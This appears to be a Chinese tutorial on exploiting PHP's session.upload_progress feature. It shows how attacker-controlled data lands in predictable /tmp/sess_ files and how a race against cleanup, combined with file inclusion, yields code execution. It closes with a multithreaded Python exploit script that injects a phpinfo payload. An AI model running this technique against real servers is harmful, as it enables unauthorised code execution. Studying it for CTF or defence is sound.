Session条件竞争
Session条件竞争
session.upload_progress
session.upload_progress
是一个用于跟踪文件上传进度的内置会话变量。它可以方便地用于显示实时的文件上传进度条或提供上传进度的相关信息。配置文件中session.upload_progress.enabled
可以控制是否开启session.upload_progress
功能
会话临时文件
数据
upload_progress_flag{this is flag}
c4ca4238a0b923820dcc509a6f75849b|a:5:{s:10:"start_time";i:1692590337;s:14:"content_length";i:303;s:15:"bytes_processed";i:303;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"test.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1692590338;s:15:"bytes_processed";i:0;}}}
可以看出这个会话文件中有上传文件的一些信息和session.upload_progress
的数据。
存储
PHP中的会话数据默认情况下是以文件的形式存储在服务器上。当启用会话支持(通过调用session_start()
函数)时,PHP会将会话数据保存在服务器上的临时文件中,文件的路径和名称由PHP配置文件(php.ini)中的session.save_path
选项指定。
临时文件名
默认情况下,会话数据会以文件的形式存储在服务器上的临时目录中,文件名以sess_
为前缀,后跟一个唯一的会话标识符(Session ID)。例如,一个会话文件的完整路径和名称可能是/tmp/sess_abcd1234
。而在PHP环境中,默认用户是可以自定义自己的Session ID
的。所以我们是可以知道临时会话文件的名称,这一点非常重要。
销毁
当启用了上传进度跟踪的功能之后,php的配置文件中session.upload_progress.cleanup
默认开启即上传后自动清除会话文件。
利用过程
当我们POST请求中存在文件数据,即使当前PHP页面没有文件上传的逻辑,文件也会以临时文件的形式存储到服务器中。从这个角度来看,文件上传是存在的。因此跟踪文件上传的过程也会存在。但是会话文件在上传过程结束后就会自动删除,这个时间是非常短暂的。不过我们可以利用条件竞争,在临时文件删除之前配合文件包含达到RCE的目的。
基于这个过程,还有一个重要的点是我们需要让会话文件中有我们自定义的内容,例如:phpinfo();
等。会话文件存储的是会话数据,session.upload_progress
就是一个内置会话变量,所以这个变量会存储在会话文件中。我们在POST数据中设置PHP_SESSION_UPLOAD_PROGRESS
值为我们需要的数据,例如:<?php phpinfo(); ?>
。理论上这个数据会存储到临时会话文件中。
脚本
这里贴一个师傅的脚本:
import io
import requests
from threading import Thread
url = ''
session_id = 'test'
def POST(session):
file = io.BytesIO(b'a' * 1024 * 5)
times=0
while True:
session.post(url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},
cookies={'PHPSESSID': session_id},
files={"file": ('test.txt', file)},
)
print(f'上传文件{times}')
times+=1
def GET(session):
geturl = url + f'?file=/tmp/sess_{session_id}'
print(geturl)
while True:
response = session.get(url=geturl)
if 'c4ca4238a0b923820dcc509a6f75849b' in response.text:
print(response.text)
break
else:
print('尝试中..........')
if __name__ == '__main__':
with requests.session() as session:
t1 = Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
GET(session)